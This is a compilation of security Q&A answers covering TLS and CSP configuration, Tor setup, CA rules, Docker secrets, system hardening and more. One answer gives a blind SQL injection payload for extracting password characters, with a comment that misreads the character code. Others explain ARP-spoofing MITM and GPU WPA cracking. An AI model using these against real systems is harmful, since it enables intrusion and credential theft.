How do I get the "n" (modulus) field in the jwk response

You base64url-encoded the characters 0, x, F, 4, A, 1, etc., plus CRLF pairs every 32 characters. The display 0xF4A1... is a C/python-style hex representation of what is actually a binary value; you need to encode that value, consisting of bytes whose values in hex are 0xF4, 0xA1, etc. How you create such a value depends on the programming language(s) or tool(s) you are using which you didn't specify, and anyway this is not about information security but basic programming.

Although as an awful hack which may be acceptable for testing only, which depends on the ASN.1 DER encoding making it marginally on-topic IMBO, because DER of X.509 SubjectPublicKeyInfo for 2048-bit RSA key has the modulus magnitude at a multiple of 3, you can textually manipulate the PEM format by:

remove the BEGIN and END lines and join the rest to a single line/string
delete the first 44 and last 6 characters (encoding the first 33 and last 4.5 bytes)
change any + and / characters to - and _ respectively

-----BEGIN PUBLIC KEY-----
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9KGWjySg0x9yJ5uOi8yF
JUS6jB9OC/DvOoTlZibihRZNo5Z54lyfE1tC5a5Cn0rpYlvo4xFoCFEqwSUOapmk
/n30rCTixBibhee/J7r9kRmavPijn6V54kaOuJ2fI0UY6JziS52tz/XXmbbtMyBR
KCeVSN9PmNyRMJ5WUsnnk4j/U853opPVhsPpSgN2kSOHVX8ZlsJL/HFTx8mfY8DS
5f/ayLwsuNmM7h/DIktvhfbtfYQ7pssuAafJ2NCykBh6ZgnL9huKkmlTz54/2Lcv
o78UJVHWWYQq10Mm1HJ0ivH+j7hZEMJqUNmbkya1PVRMhAMu0o+20vubr9X2Rifv
awIDAQAB
-----END PUBLIC KEY-----

->

9KGWjySg0x9yJ5uOi8yFJUS6jB9OC_DvOoTlZibihRZNo5Z54lyfE1tC5a5Cn0rpYlvo4xFoCFEqwSUOapmk_n30rCTixBibhee_J7r9kRmavPijn6V54kaOuJ2fI0UY6JziS52tz_XXmbbtMyBRKCeVSN9PmNyRMJ5WUsnnk4j_U853opPVhsPpSgN2kSOHVX8ZlsJL_HFTx8mfY8DS5f_ayLwsuNmM7h_DIktvhfbtfYQ7pssuAafJ2NCykBh6ZgnL9huKkmlTz54_2Lcvo78UJVHWWYQq10Mm1HJ0ivH-j7hZEMJqUNmbkya1PVRMhAMu0o-20vubr9X2RifvawID

Presto!


The R2B2 can guess a 4 digit pin (10,000 combinations) in about 20 hours, not taking into account the delay for entering a phrase after every 4 failed tries. When using a 6 digit pin (1,000,000 combinations) this will rise with a factor of +/- 100, making it about 2000 hours (about 83 days). A 8 digit pin (100,000,000 combinations) would again raise this even higher.

The question is, when using a 6 or 8 digit pin (the 4 digit is way to low imo), why not use a password? What is the added value of a pin when you could also use a 6 or 8 digit numerical password, besides having the intruder know he only has to try numerical values?


No, that's not necessarily sufficient.  There are many XSS vectors that can potentially still be applied, depending upon where the injection point is.

Some examples:

Injection into unquoted attribute values
Injection into attribute values quoted with a single quote (' instead of ")
Injection into CSS
Injection into Javascript
Injection into comments

... and lots more.  You need to do context-sensitive escaping, and you definitely need to escape at minimum <, >, ", ', plus some more in some contexts.  Go spend some time on the OWASP site; there's tons written there, and this is explained in great detail.


HTTP Header disabling non-SSL (or TLS) content on this page

You want Content-Security-Policy. The following rule should fit you (but do check the other interesting options it provides):

Content-Security-Policy: default-src https:;

There's a good explanation at http://www.html5rocks.com/en/tutorials/security/content-security-policy/

You can view the spec at https://w3c.github.io/webappsec/specs/content-security-policy/


Does anti-virus/security software protect against NTFS ADS?

Symantec says yes for at least two version of their Entreprise products:

  Problem

  Can the Symantec Endpoint Protection (SEP) product scan and detect
  virus or other malware stored within NTFS Alternate Data Streams?

  Solution

  Yes, Symantec Endpoint Protection 11.0 and 12.1 is able to scan and
  detect threats within NTFS Alternate Data Streams (ADS).
  Realtime Protection or File System Auto-Protect can scan within
  Alternate Data Streams associated with both files and folders.

Source: http://www.symantec.com/business/support/index?page=content&id=TECH173434


User data encryption/decryption in a database (PHP)

Secure, yes, but against who or what ?

Regardless of how you encrypt data, your server must still be able to decrypt it. So any attack which subverts your server (e.g. buffer overflows or SQL injection) will yield full data access to the attacker, regardless of your encryption.

Encryption will do you any good only against attackers who get backdoor access to the storage, e.g. who steal a backup tape or recover an old hard disk from a dumpster. Then, this points to the kind of encryption you need: Transparent Data Encryption (equivalently, a full-disk encryption, as hinted at by @Polynomial). TDE does not remove confidentiality needs, but it concentrates them: you "just" have to worry about the encryption key, which is small and does not change over time, instead of gigabytes of ever-mutating data.

(Of course, if you want to sprinkle encryption all over the server just to ease the qualms of some administrative hierarchy somewhere, then forget all of this and just go for an algorithm with the most impressive-looking acronym, preferably with a very long key. "RSA-8192 and AES-256/CBC with HMAC/SHA-512" will reliably plunge the average bureaucrat into an ecstatic trance.)


Is it possible to use CSP for a Javascript-based video player?

CSP applies to the page containing the code, not the code. In your case, this means that the client pages may or may not have content security policies which allow (or don't allow) your script to run based on it being a third party script.

Your script can't influence those - that's kind of the point. CSP is designed to ensure that only known scripts run, or known elements are able to be loaded by the page.

In the case of a video player script, the hosting site (the one which loads your code) would need to allow your script, and for the appropriate types of files to be loaded from your servers if they implemented CSP. You may need to look at CORS to enable access to content from your domain by your script, which is running in the context of the client site, although this depends on what you're doing with it - if you're just including a video file using a <video> tag, this probably isn't needed.


Why are hardware based random number generators considered better than software based generators?

To answer directly: the SW ones are based on computer algorithms that can be predictable or limited.

Read this comparison here with advantages and disadvantages. Generally, the average HW RNG is better compared to the average SW RNG.

But although HW RNG is called 'true' and SW RNG (being based on an algorithm) is called 'pseudo', I do not consider that a hardware RNG is always better.

In the case of hardware, it's all about how well the design is, how far does it go with the implementation and what else can affect the result.

In the case of user input, it becomes a matter of how well a user can randomize. A mouse-moving-based RNG can be better or worse compared to an average hardware one depending on user skill. Likewise, a hardware RNG can be better or worse than the average mouse-moving-based RNG depending on the skill of the HW designer.


You haven't clarified the device requirement for entropy, so I'll assume that it's to participate in some sort of secure exchange over an otherwise open channel.
I think you have actually hinted at a way of quantifying things in your question, where you mentioned that a high-resolution clock could contribute up to 30 bits of CS-entropy, but this not being enough.
We'll, if you know what protocol you're participating in (assume TLS 1.3), then you know the requirement exists for at least 32+32 (for the ephemeral client key and the client randomness contribution) and then another 12 bytes of high-quality entropy (for the nonce in the ChaCha20Poly1305 symmetric cipher).
(Visit Michael Driscoll's very helpful breakdown of TLS 1.3 https://tls13.ulfheim.net/ for more info.)
... so an observation in support of an argument for including weak sources: in the absence of a high-quality source of randomness, the device client can't contribute to the shared entropy in any protocol like TLS, that has some sort of randomised IV or forward-secrecy.


Is it secure to centralize database information?

I'd say it is as secure as the directory it is placed it.

The ideal place to store the database connection file would be outside the web root. In this way, an attacker would not be able to gain access to the file using directory traversal attacks.

More information on directory traversal: http://en.wikipedia.org/wiki/Directory_traversal_attack

This page also has more information on the subject: https://stackoverflow.com/questions/6322766/php-basics-where-to-store-mysql-password-used-by-php


Is behavioural analysis (e.g. keystroke dynamics) a reliable security mechanism for MFA?

This has already been done by numerous vendors (click here), and patents have been on technologies similar to keystroke dynamics dating back as far as 1986 (click here or here).

Here is a paper which addresses using keystroke dynamics as biometric authentication, but I'm not sure how "digestible" it is for the lay person.

It would be hard to implement this across the board because, although a person's keystroke dynamics are often similar day-to-day you need to be able to account for significant variation.  If a person is sick or tired they won't type the same as if they are angry.

Although I don't think this technology is ready for prime-time, I think it's great to discuss and investigate different types of biometric authentication and individual profiling to strengthen your security posture.


That's actually a pretty bad setup. You are making it over complicated to the point where what you view as defense in depth is actually extra attack surface. For example using a VPN defeats Tor's guard rotation algorithms, which are fine-tuned to reduce the chance that you hit both a malicious guard and exit at the same time.

Using bridges when you are not being blocked by censorship is also a very bad idea It reduces the amount of possible entry points you can blend in with. Bridges are so ubiquitous that chances are, you would be one of the only if not the only person to use that bridge at any given time. That makes traffic correlation attacks much eaiser when an adversary does not have to demultiplex communications from the guard (or bridge) to the middle node. Think about it this way: if you are the only one using the bridge, then is there any doubt that the traffic going from the bridge to the middle node is not yours? Now, if you are using a popular guard, much more work would have to be done to correlation which stream of traffic is yours and which is just noise from other users.

Additionally, you say you change bridges frequently. Just as with changing guards, that is a VERY BAD idea. The first node in the Tor circuit should be long lived. In fact, Tor Project rather recently changed guard parameters to make it even more long lived, because even changing every few months was too quick, and made deanonymizing sybil attacks significantly easier. Their modification of the parameters to keep a single guard for a year or more has made sybil attacks, and other types of traffic correlation attacks much harder. Search the Tor Project blog for "tor guard parameters" for more information on the mathematics behind that.

Logs are kept on your VPN. Just because the VPN service claims not to log does not mean their upstream ISP (which is in all likelyhood something like OVH) does not either. If the upstream ISP logs, which it certainly does, then the claim that your VPN does not log becomes moot.

Using CCleaner is often quite useless. Modern filesystems which are either journaling filesystems (like ext4, jfs, etc) or copy-on-write filesystems (like NTFS, which is partial CoW, btrfs, or zfs) cannot have files or even free space reliably erased. Furthermore, many VM virtual hard disk formats are CoW anyway, so even if you switched to FAT32 or something, it would still not end up being quite useless.

The unnecessary use of VMs and RDP also add to attack surface area. Furthermore, on all x86 and most ARM hardware, it is quite trivial to mount side-channel attacks from within a virtual machine. These attacks are capable of reliably detecting what phrases are being typed on the host, and can even steal keys from the memory of certain insecure cryptographic applications. The attacks that can do this reliably are named prime+probe, flush+reload, and flush+flush, named in order of stealth and efficiency. Furthermore, virtual machines still expose low level hardware to the guest, and trivial escapes are not uncommon at all.

All in all, your setup makes it easier both to deanonymize you from the outside, but also from the inside, by exposing the huge attack surface area of RDP and VMs. I would very, very strongly urge you stop this setup and instead use Tails, or even just Tor Browser on Debian.

Before you try to do anything like this again (creating your own complex setup), first formalize your threat model. Information on threat modeling online is ubiquitous. Until you do that, using Tails is almost always a safe bet for anonymity.


Trying to answer my question, reviews are welcome.

On https connection :

Alice requests random number from Bob in publicly accessible web service
Alice signs random number with her private key within TPM 2.0
Alice sends signed random number to Bob
Bob verifies that Alice signed random number


What theoretical risks are posed by compromised 5G infrastructure?

First of all, we are not talking just about internet connections, but about mobile infrastructure.

So yes, we have the points you mention:

call metadata (connection endpoint information)
voice calls
SMS

(not sure about the encryption requisites for these on 5G, but on earlier versions I think it was weak encryption if any)

Plus anything not encrypted on the internet, which is plenty, but I don't think is the real risk there, as it's the same that you bear when connecting on an unprotected WiFi, just in a bigger scale.

Other malicious attacks that could be made:

User location (eg. position important official based on the location of their phones)
Stealing of SMS codes / account recovery methods by a SIM-swapping equivalent at network level
Denial of service: stop all service when given a kill-code
Actively overwhelm certain services: make any call made actually go to 911 (or the service you want to collapse)
Firmware attacks: the network may be able to flash some radio chipsets with new firmware.¹ Which itself may be able to escalate privileges into smartphone chips...

Supply chain disruption is not that bad. At that point the other country is probably 'the enemy' (even if just a commercial one). Much more concerning is the level of damage that a low-level backdoor silently placed on that ubiquitously deployed technology could do.

Shutting down service for a city would be evident and lead to their tampering being found 'easily' (well, after days or months of studying what went wrong), but a well-placed trojan there could operate silently for decades without being detected, exfiltrating when directives of essential services are communicating, performing wiretaps of selected phones... and all of this almost undetectable, since any controlling checks would be at an higher level.

¹ See Baseband Attacks: Remote Exploitation of Memory Corruptions in Cellular Protocol Stacks by Ralf-Philipp Weinmann
USENIX conference Paper


standards for regulation of intermediate Certificate authority

CABForum "Baseline Requirements"
TLS certificates on The Web are governed primarily by the CA-Browser Forum Baseline Requirements, which all publicly-trusted CAs are required (by browser vendors) to follow.
In the Baseline Requirements (BRs), intermediate certificates are not explicitly required to be used at all. In theory, a CA could just sign all their certificates with their root certificate's key. From a practical perspective though, intermediates are necessary because the root key is usually kept offline to protect it from compromise by malicious actors.
If an intermediate certificate is issued to a third party, that party becomes a Subordinate CA of the original, Root CA. In such cases, the BRs specify that the Subordinate CA must follow the Baseline Requirements just as the Root CA does:
Section 1.1 says:

These Requirements are applicable to all Certification Authorities within a chain of trust. They are to be flowed down from the Root Certification Authority through successive Subordinate Certification Authorities.

Currently, the Baseline Requirements grant the Root CA the responsibility of ensuring that its Subordinate CAs follow the Baseline Requirements.
Section 9.6.1 says:

The Root CA SHALL be responsible for the performance and warranties of the Subordinate CA, for the Subordinate CA’s compliance with these Requirements, and for all liabilities and indemnification obligations of the Subordinate
CA under these Requirements, as if the Root CA were the Subordinate CA issuing the Certificates

Mozilla Root Store Policy
Additionally, some browsers' root store programs may impose additional regulations on intermediate certificates above and beyond what the Baseline Requirements require. Mozilla for example, requires the existance of any subordinate CA certificates to be disclosed publicly in section 5.3.2 of their Root Store Requirements:

All certificates that are capable of being used to issue new certificates, that are not technically constrained, and that directly or transitively chain to a certificate included in Mozilla’s root program MUST be audited in accordance with Mozilla’s Root Store Policy and MUST be publicly disclosed in the CCADB by the CA that has their certificate included in Mozilla’s root program. The CA with a certificate included in Mozilla’s root program MUST disclose this information within a week of certificate creation, and before any such subordinate CA is allowed to issue certificates. All disclosure MUST be made freely available and without additional requirements, including, but not limited to, registration, legal agreements, or restrictions on redistribution of the certificates in whole or in part.

Aside from that, I'm not aware of any further standards regulating the use of intermediate certificates.


Solaris: IP Spoofing Across Ethernet Ports

Under Solaris, the ip_strict_dst_multihoming parameter will perform the anti-IP spoofing function you're looking for.  To quote, "by setting the parameter ip_strict_dst_multihoming to 0 the system drops any packets that appear to originate from a network attached to another interface "Solaris Kernel Tuning for Security".  So to answer your question: risk can be addressed by properly configuring the box not to forward spoofed packets.

Note that this addresses the simple case that you've outlined.  I don't think it will help in the case of routing multiple networks via multiple interfaces.  In other words, if you had a static route so that traffic for 192.168.2.0/24 was also routed over interface 1, then I'm not sure Solaris would drop a packet from 192.168.2.5 that came in on interface 0.  I think only the networks defined by interface 1's bound address will be dropped.

If you're looking on turning a Solaris box into a router, you should carefully read guides such as the link above.  Solaris is not, in my humble opinion, a great router system.  Solaris 11 did add the ipfw firewall, however, which brings closer to par with your average BSD/Linux box.  If you're going to route between networks of differing security levels, you should do it right and NAT and/or apply firewall rules.


Could SAML assertion/token be shared or reused between service providers?

Just did a bit more digging, found something call ”SAML 2.0 federation“, according to the wiki about ADFS and IBM doc it's a built in feature.


Passing secret keys securely to docker containers

Environment variables are the best way to do this, specifically method 2. Docker, by default, does not allow itself to be run by users other than root. Access to the socket is prohibited. I'd say method 2 is reasonably safe, as out of the box if an attacker has root access (and can poke around in your docker containers) you're already in bad shape.

Two Docker security notes in general. Be super cautious with enabling the API, as by default there is no encryption or authentication. They have a way to use certs and TLS that they documented, but proceed with caution.

Also, if possible enable SELinux on your server. Newer versions of it are able to actually see docker containers and automatically build security contexts for each one. This prevents a container compromise from easily moving back into the host. By default docker runs as the root user, and even with the USER directive it still interfaces directly with the kernel unlike a VM. This exposes the host to any local privilege exploit as soon as a docker container is compromised.


Very good explanation why sms 2FA is bad idea: https://blog.sucuri.net/2020/01/why-2fa-sms-is-a-bad-idea.html
I recommend to use Google Authenticator because it works offline without network.


How do you verify a certificate belongs to a domain?

SNI is Server Name Indication; it is not part of any verification. A client uses SNI to inform the server about the name that the client is trying to reach; the name is sent in the early steps of the SSL handshake. This is meant to support multiple servers (that is, multiple names) sharing the same IP address: the SNI tells the server which certificate it should use for this particular connection.

This certificate-choosing is important because clients expects the server's certificate to contain the name that they want to reach. And this "expectation" is precisely what you should do: you need to inform your SSL implementation that you want to reach a server with a specific name (mail.example.com, apparently) and that the server's certificate MUST contain that name (this is crucial: without this test, an active attacker could feed you his own certificate and silently hijack your connection). It seems that this is done with the CN_match option.

(Of course you can use SNI; it is even recommended because it may really help the server. But that's not SNI which protects you against MitM attacks.)


Can an email message that runs PHP possibly infect the client?

No

The PHP cannot infect the client because the PHP runs on the server which is "http://eddinebox.com" server. To infect the client, you need to have something that runs on the client. In browser, that would mean a javascript code that is not escaped properly by your email client.

On a different note, the PHP script can be used for Cross Site Request Forgery (CSRF) Attack. For example, the author of the email could use it to execute some action on another site as if it was you.

That said, as mentioned in the comments it's probably just a tracking code.
When you open the email, it loads the PHP page. Then, the PHP page register which clients open the email and the parameter "t" is a unique code per client. It's a pretty standard technique for tracking.


What are empty requests in web server log?

That's the result of somebody sending an empty request to your server.  It's not a useful attack vector by itself (as you can see from the log, your server returned a "400 Bad Request" error message), but it can be used as an "is there a webserver here?" probe.

Personally, I'd ignore it.  There's a lot of automated scanning going on out there, and you could spend untold hours trying to stop things that aren't a threat in the first place.


How to forbid one directory only in TOMOYO (2.5)?

Acutally no need to exclude kernel.
You can tell though files /home/backup/\*{\*}\* may only be changed if domain "<kernel> /usr/bin/backup-script" does access.

relevant links from Tomoyo Guide:

http://tomoyo.sourceforge.jp/2.5/policy-specification/exception-policy-syntax.html.en#path_group
Chapter 5-8


How do you sniff a wifi router without connected into it?

At first - strictly speaking - your wifi router is most likely two things. First: A wifi switch and second a router (and probably a lot more). The thing you want to attack is mist likely the wifi part as you state you dont want to initiate a connection.

Since wifi is no strictly directed method of message sending, packets will be broadcasted and that's it.
So: If the wifi is unencrypted you can simply use a wifi-card and put it in "monitor mode". That means it will simply accept all packets flying though the air. Since everything in an open WiFi is plaintext you can read the contents (until transport encryption kicks in).
If the Wifi is encrypted you can do the same as well but you will only get encrypted content. Under certain circumstances decryption after capturing is possible (see Wireshark-Wiki). You will need at least need to know the AP's SSID and PSK for that.


Make server return "Unable to split netmask from target expression"

You are entering a URL with / in it rather than a hostname, and the tools you're using are treating that as a CIDR address (and then failing to parse it).

Compare the following (wrong way, right way):

$ nmap http://www.example.com/

Starting Nmap 6.40 ( http://nmap.org ) at 2016-08-11 10:10 EDT
Unable to split netmask from target expression: "http://www.example.com/"
WARNING: No targets were specified, so 0 hosts scanned.
Nmap done: 0 IP addresses (0 hosts up) scanned in 0.04 seconds

$ nmap www.example.com

Starting Nmap 6.40 ( http://nmap.org ) at 2016-08-11 10:10 EDT
Nmap scan report for www.example.com (172.31.43.14)
Host is up (0.062s latency).
rDNS record for 172.31.43.14: www.example.com
Not shown: 994 closed ports
PORT    STATE SERVICE
22/tcp  open  ssh
25/tcp  open  smtp
80/tcp  open  http
443/tcp open  https
587/tcp open  submission
993/tcp open  imaps

Nmap done: 1 IP address (1 host up) scanned in 1.03 seconds
$


Is AWS subnets enough for segregation of networks? or do we need VPC?

By default subnets inside the same VPC have no segregation. As Joe M's answer says you can use ACLs (subnet level firewalls) to enforce separation and security groups for a more fine grained instance level control.

Using multiple VPCs adds quite a bit of overhead but is a good option if you're looking for an extra layer of "accident-proof" separation e.g. if you want to be certain a misconfigured ACL cant cause damage.

The strategy you take probably depends on how much segregation you need:

Different VPCs (or even different Accounts):

Different customers (assuming you have a low number of high value customers e.g. not for users of an app) especially if you are peering/VPN to your customers,
Different environments e.g. Development or Prod,
Different applications with very different audiences e.g. CompanyWebsite and Company Payroll Processor.

Different Subnets:

Different services inside the same environment, e.g. webserver, appserver, database,
Linked applications in the same environment, e.g. public webserver and internal-webserver that both use the same database.

Possible worth noting you can link VPCs together however this is a relatively advanced feature and should only be used for larger, complex networks.


Save to setup localhost.example.com to test wildcard SSL?

It is not a good idea to have a public DNS record which points to a non-public IP address. This can be used to circumvent same origin policies by exploiting issues on internal systems. For more details see http://www.securityfocus.com/archive/1/486606, where a vulnerability in CUPS on localhost was exploited this way.

Probably easier and definitly safer would be to just add a local record in the hosts file of your machine. In this case the impact of any such exploit would be restricted to your machine.


Accepting Avast Antivirus MITM certificate "securely"

Allowing a user to add trusted roots to your app might be an option. This should be easier than guiding them through whitelisting your app with Avast, because you'll be able to design the user interface to help the user complete this task.

This also has the advantage that your product will be compatible with corporate networks where they often MITM connections on the outbound proxy to allow traffic inspection.


What frameworks are available to analyze a security breach?

5 Whys works great on security incidents.

There are also more formal frameworks like STIX (https://oasis-open.github.io/cti-documentation/stix/intro) and various "kill chain" models (see https://Unifiedkillchain.com).

Both STIX and kill chain prompt with specific questions such as who did what and how, or more specifically, they give you ways to record that information, prompting you to ask.

The key difference is STIX/kill chain will give you what happened, but not the how it was allowed to happen, which you get from 5 whys.


Are Modern Servers susceptible to HTTP Splitting Attacks

This it not an issue with your browser, but instead an issue with the PHP header function being immune to HTTP splitting attacks. The same goes for set-cookie function call.

You can read more about this here https://stackoverflow.com/questions/6287713/is-php-immune-to-http-response-splitting-vulnerabilities

A short excerpt:

 [...] Although response splitting is not specific to PHP, the PHP interpreter
contains protection against the attack since version 4.4.2 and 5.1.2. [1]


What are the risks of connecting to my company network from outside?

A few points immediately come to mind:

If you're using a vpn, the medium over which you send traffic is of reduced importance. The whole point of a vpn is to create a virtual distributed private network which uses an untrusted network to transmit traffic. As long as the vpn is properly configured (aggressive mode disabled, strong encryption etc) then it is of questionable importance how you gain access to the wider internet.
If you are using an IPsec VPN then the security features are implemented within the IP layer of the network protocol stack. This means that all layers under this (data link, physical etc) benefit. Therefore if your connection to your bluetooth device occurs at a lower protocol layer, even if it is compromised, an attacker will not gain access to the higher layer (transport, application etc) data.
Regardless of the potential to break the security of your vpn connection, bluetooth is widely considered to be vulnerable to a number of attacks. I'd be suprised if you found a security professional that made anything more than the absolute minimum use of bluetooth for any purposes. If you have a usb cable handy, you may as well use it!


Logical to physical address mapping is done by the segmentation and paging units of the CPU. A process (which means both your program and any malicious code that gets executed in it's address space) doesn't know about this mapping; they see a continuous address space, even if that address space might not be mapped to continuous regions of physical memory by the paging unit.

Your example doesn't really work out, because page size, at least on the x86, is at least 4k. So we can't have a page boundary between 0x100 and 0x104. These addresses would map to the same physical memory, because they'd lie in the same page.

However, that doesn't matter, because even if your malicious code wrote data over a page boundary, that wouldn't magically turn off the paging unit; instead, the paging unit would translate the virtual address to the physical address of the other page.

It's really rather simple. Assuming we're dealing with 4k pages, pages start at physical addresses with the last 12 bits zeroed.

The last 12 bits of any virtual address are an offset into a page. The other bits of an address are used to identify the page in a multilayer page table, which in turn stores the physical address of the page.

A running program (and that includes any malicious code running in the same address space) can't write directly to physical adresses; any address supplied by machine instructions is considered to be a virtual address and always ends up getting translated by the segmentation and the paging unit of the cpu, so the "gap" between 0x1000 and 0x2000 that you perceive doesn't exist for the program.


Doesn't Authentication logically imply Non-repudiation?

Non-Repudiation is the assurance that someone cannot deny something.

Examples of authentication without non-repudiation:

Alice's credentials were/could have been stolen and used by
someone else.
The authentication process itself is flawed (has bugs).
The system has provisions for impersonation, say by an
administration or support user.


Why do some bank websites use passwords that are not case sensitive?

The most likely reason is that the backend only supports case-insensitive passwords.  To quote OWASP:

  Occasionally, we find systems where passwords aren't case sensitive,
  frequently due to legacy system issues like old mainframes that didn't
  have case sensitive passwords.

The chances of this happening are much higher with stodgy old institutions like big banks that are still running mainframes in the datacenter.


How to dissable 1024 bit Diffie Helman, SHA1, DES-CBS-SHA

Mozilla has a config generator to help you if you are not aware about what you should and you should not add to a config file.

Here's the link https://mozilla.github.io/server-side-tls/ssl-config-generator/

In your case, for Apache 2.4 your config should be similar to

<VirtualHost *:443>
    ...
    SSLEngine on
    SSLCertificateFile      /path/to/signed_certificate_followed_by_intermediate_certs
    SSLCertificateKeyFile   /path/to/private/key

    # Uncomment the following directive when using client certificate authentication
    #SSLCACertificateFile    /path/to/ca_certs_for_client_authentication

    # HSTS (mod_headers is required) (15768000 seconds = 6 months)
    Header always set Strict-Transport-Security "max-age=15768000"
    ...
</VirtualHost>

# modern configuration, tweak to your needs
SSLProtocol             all -SSLv3 -TLSv1 -TLSv1.1
SSLCipherSuite          ECDHE-ECDSA-AES256-GCM-SHA384:ECDHE-RSA-AES256-GCM-SHA384:ECDHE-ECDSA-CHACHA20-POLY1305:ECDHE-RSA-CHACHA20-POLY1305:ECDHE-ECDSA-AES128-GCM-SHA256:ECDHE-RSA-AES128-GCM-SHA256:ECDHE-ECDSA-AES256-SHA384:ECDHE-RSA-AES256-SHA384:ECDHE-ECDSA-AES128-SHA256:ECDHE-RSA-AES128-SHA256
SSLHonorCipherOrder     on
SSLCompression          off
SSLSessionTickets       off

# OCSP Stapling, only in httpd 2.3.3 and later
SSLUseStapling          on
SSLStaplingResponderTimeout 5
SSLStaplingReturnResponderErrors off
SSLStaplingCache        shmcb:/var/run/ocsp(128000)


Different between arpspoof command spoof only target and both target and gateway

case 1
 - Will only tell the target that you are the router. If you don't tell the router that you are the target, the router will send packets to the target, the target will send the reply to you, and it will stop there. This will effectively DOS the target because you aren't forwarding the packets to the router.
case 2
 - Is the complete ARP spoofing process.
 - The first command tells the target you are the router.
 - The second command tells the router you are the target.

Case 2 should always be used for MITM.


Generating encryption key using location data and other hardware data

Unfortunately, this won't be as secure as you may be hoping. First, you will have to have a fairly coarse geographical scheme, because GPS coordinates vary based on things like weather, interference, etc. You might need to have regions that are 250 meters wide. Then, when you divide up someone's town or home region into a grid like that, there are only a few million possibilities. An attacker can simply try them all.


How much protection does the Kill-Bit provide for ActiveX controls?

To my understanding the Kill-Bit mechanism is an opt-in mechanism for ActiveX. Programs have to explicitly support them. Microsoft's own documentation (link) states that the only way to blanket-kill an ActiveX control is with a Software Restriction Policy. Such a policy will restrict the execution of the ActiveX control by any process.


Get WPA-Passphrase from HEX key and SSID?

The details of the calculation for obtaining the key are described in the link you mentioned:

  For WPA-PSK encryption, the binary key is derived from the passphrase
  according to the following formula:

  Key = PBKDF2(passphrase, ssid, 4096, 256) The function PBKDF2 is a
  standardized method to derive a key from a passphrase. It is specified
  in RFC2898 with a clear explanation on how to compute it. The function
  needs an underlying pseudorandom function. In the case of WPA, the
  underlying function is HMAC-SHA1.

PBKDF2 is a key derivation function that uses a hashing algorithm that servers two purposes. One is to make the process of obtaining the inputs of the function very difficult, and the second to make slow down the brute-forcing process.

To my knowledge, there is no published research that would recover the passphrase from the PBKDF2 output in a reasonable time. Your only option is to brute-force it, that means trying every possible passphrase and applying the process you mentioned and seeing if the output matches your key. There is special hardware, software and even services to make this process faster.

oclHashcat and Pyrit will bruteforce WPA and will use GPUs to make the process faster.

CloudCracker service will try 300 million words in 20 minutes for $17 on your keys.


Whenever a service you use gets hacked and the result is a leak of authentication credentials, there are some precautions you can take to minize your risk.

First of all, change the service's password, even if you had a long and complex one. This will make it impossible for the attackers to get your current credentials.

Make sure you never use the same password for two different applications. I know, same old suggestion, but this is exactly the case where it makes a difference!

You have to consider that Evernote uses an e-mail address as username (too), hence creating a higher risk if you use the same password for other services that require a unique e-mail (e.g. Facebook).

Finally, I'd suggest the use of a password manager in order to generate safe passwords and to use them without having to rely on simple schemas (e.g. Evernote1!) or on post-it notes.


Identify required applications and processes and apply a checklist to either avoid installing them, or worst case uninstall them after the initial build.

Here I'm thinking those common culprits which still seem to go on to far too many distros by default!

NFS services: nfsd, lockd, mountd, statd, portmapper
telnet server and ftp server
R services: rlogin, rsh, rcp, rexec
BIND and DNS server unless needed
mail servers such as sendmail
X11 (unless desktop needed)
finger daemon etc

Next step up is go through the potential weak services and limit access to them

use at.allow and cron.allow to restrict access to crontab
Ensure all devices are unreadable and unwriteable by ordinary users (excluding those such as /dev/tty and /dev/null etc)
Key files - permissions on these should be owned by root:
/etc/fstab, /etc/password, /etc/shadow
Carefully check hosts.equiv - a great source of access here :-)
Similarly, NFS config is locked down if it is required
Disable unneeded system accounts.
Look at filesystem - sticky bits for all executables and public directories.
Check all root requirements (PATH environment variable, no remote access as root, group membership, password requirements)
Check all user requirements (membership in privileged groups, valid shells, umask, SUID, SGID requirements
and of course the SANS guide is a really good source!


How do I verify HTTPS connections in Mobile apps?

Unfortunately, unless you sniff and inspect your own traffic, you can not... My advice is not to use built-in browsers that do not indicate the protocol being used to handle sensitive information


Isn't it almost always not helpful to just change the password of a container after a leak?

This is correct and to some extent applyes even if the container is not leaked yet. If there is any way the attacker may be able to get to the old version of the container (or just its header) for example if you have backups or ssd with wear leveling, it is better to reencrypt.


How to authenticate in a website with public/private keys?

Certificates can be used in that purpose. The general use of certificates is for TLS/SSL connections, but client certificates can be issued to handle two-way authentication. Certificates are basically public keys with an added layer of "trust networking".

If you want to do this properly, you should implement a PKI to handle certificate request, creation and revocation. But alternatively, you could just ask a user to upload any public key certificate they want to use.

Many recent browsers are also able to generate certificate request (private/public key) on the fly when connected to a website. Then the certificate are stored in the browser profile.


You could for example enumerate any users hash/password:

insert the following as the username:

admin' AND substring(password,0,1) == char(64) AND '1' = '1

Checks if first character in column 'password' is a lower case a.


Secure File Replication between LAN and DMZ

It is better to initiate connection from the LAN to the DMZ to sync the files, no matter in which direction the sync is done. Initiating the connection from the DMZ would mean to open the firewall between LAN and DMZ which makes the LAN prone to attacks from the less secure DMZ.

When allowing connection establishment from the DMZ to the LAN you essentially expose the internal host to attacks from the DMZ. Even if the firewall is strict in that it only allows connection from the DMZ to a specific internal IP+Port an attacker which took over the DMZ (it is less protected than the LAN by design) can flood this internal IP and thus cause a denial of service. Also, firewall rules often are forgotten when they are no longer needed and it might happen that the system reachable by the rule changes and now the attacker can reach a different system through the same rule. And then there are bugs in the firewall configuration which might actually expose more than was intended - see here for a report (in German) about a bug in the router which exposed not only the intended port 443 for VPN but also 445 (SMB, i.e. windows file sharing) and this way made sensitive data available to the internet.

If instead connections are only allowed from the LAN to the DMZ, then the LAN keeps full control over what gets transferred. An attacker in the DMZ cannot simply flood the LAN from the DMZ since packets not matching an established connections are blocked by the firewall. If the data exchange is no longer needed no firewall rules need to be removed. If the IP of the internal system changes (for example due to DHCP) no firewall rule needs to be adapted. And if no firewall rule is there it also cannot be too broad.


If I format a USB stick, will the old contents be recoverable?

What happens when you 'delete' something?

A filesystem looks something like this:

00 START NTFS FILESYSTEM
01 START FILE LIST
02 test.txt 6-8
03 molerat.jpg 9-4207
04 END OF FILE LIST
05
06 Hi Jamie,
07 Could you get two eggs and if they have milk, three?
08 Thanks!
09 qDJFIFXcz5nW2ebBraYv
10 BbUTUNuxhh41TS2DwCfR

So the file list contains which file is where and how large it is. Without such a central table, a computer would have to read the whole drive to find any particular file. Or, without a filesystem identifier (line 0), it would have no idea how to read the file list because it doesn't know how it is structured.

